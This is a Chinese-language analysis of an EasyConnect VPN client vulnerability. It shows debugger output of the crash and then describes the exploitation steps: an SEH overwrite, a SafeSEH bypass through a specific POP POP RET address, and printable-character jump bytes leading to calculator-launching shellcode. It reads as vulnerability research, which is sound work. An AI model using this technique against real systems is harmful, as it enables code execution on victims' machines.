2024年3月10日发(作者:)

深信服科技EasyConnectVpn 0day漏洞分析与利用

环境: xp sp3

浏览器: xp sp3 自带的ie6

(安装install程序,程序目录C:Program FilesSangforSSL)

一、先用windbg加载poc(c:)

然后g运行程序,出现异常,异常情况如下:

0:000> g

(8): Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=0000004a ebx=022cde82 ecx=0013e140 edx=00140000 esi=0013df00

edi=0013e140

eip=77c12332 esp=0013dea0 ebp=0013deac iopl=0 nv up ei pl nz na po nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202

msvcrt!wscanf+0x6c:

77c12332 8802 mov byte ptr [edx],al ds:0023:00140000=41

*** ERROR: Symbol file could not be found. Defaulted to export symbols for

C:Program -

然后kv 查看异常时的堆栈情况,猜测出现异常的模块。

异常处的代码:

0:000> u msvcrt!wscanf+0x6c

msvcrt!wscanf+0x6c:

77c12332 8802 mov byte ptr [edx],al //此处发生异常

77c12334 ff01 inc dword ptr [ecx]

77c12336 0fb6c0 movzx eax,al

77c12339 eb0c jmp msvcrt!wscanf+0x81 (77c12347)

77c1233b 0fbec0 movsx eax,al

77c1233e 51 push ecx

77c1233f 50 push eax

77c12340 e818c9ffff call msvcrt!_flsbuf (77c0ec5d)

使用IDA打开,定位到偏移0x46c0处,

猜测出现异常可能是因为sprintf的问题。

二、使用OD打开poc文件

F9运行,ie弹出Active警告,暂时先不运行,在OD中Ctrl + g 定位到出现异

常的代码处,地址:77c12332

当然你可以看到CSClientManagerPrj+0x46c0处的代码

不过这对后面的分析已经无关紧要了。

一直F9,执行到

77c12332 8802 mov byte ptr [edx],al

后,一直F9,会发现我们poc中的字符串被逐个放到内存上(堆栈)

一边F9一边你观察内存数据变化,在内存数据覆盖到0013ffed时,此时注

意慢点执行,在执行几次F9,观察edx的值,当edx值为0014000时,出现

异常(即windbg中异常时edx的值)。为什么edx = 0014000时会出现异常

呢,我们看下内存

由上如图可知,140000开始3000大小的内存空间是只读属性,所有

mov byte ptr [edx],al

时发生了写异常。

由此我们可以判断漏洞形成的原因是:

因为未对字符串的长度做判断,导致在sprintf时字符串覆盖到只读区域,引

发了写异常。

三、漏洞利用:

由上分析可以,造成漏洞的原因并不是字符串过长覆盖函数返回地址,而是

覆盖了到了只读区域,出现内存写异常。

在F9执行

77c12332 8802 mov byte ptr [edx],al

我们可以翻看下堆栈附近的变化

可知字符串覆盖了异常栈上的异常处理链。OD产看seh链

可知覆盖的异常处理正是当前函数异常时对应的异常处理函数。

因为在xp sp3下需绕过safeseh,构造堆栈数据如下:

在调试跟踪时,发现大于7f的数据在复制到内存中时,会发生变化,即非可见字符是不

能被直接存放到内存中的,猜测可能是字符在ascii ->unicode->ascii时发生了变化,所以

在构造堆栈时,所有数据都必须是小于7f的即可见字符。

使用OD查找程序中No SafeSeh 的模块。

EasyConnect vpn的几个模块都是关闭SafeSeh的。使用Ollyfindaddr查找pop pop ret

查找结果很多,从中选择一个全小于7f的地址

10013439 Found:POP EDI POP ESI RETN at 0x10013439 Module: C:Program

由于数据要小于7f,所以jmp 06 (eb 06)也不能使用了,为了能保证程序跳到我们的

shellcode,这里使用jnz 06 jz 04(75 06 74 04)

Jnz 06 jz 04

0x10013439

纯字符shellcode

我们这里使用弹框计算器的shellcode,测试效果见